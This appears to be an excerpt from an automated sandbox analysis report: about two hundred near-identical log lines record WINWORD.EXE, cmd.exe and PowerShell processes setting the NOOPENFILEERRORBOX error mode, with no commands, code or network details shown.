Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
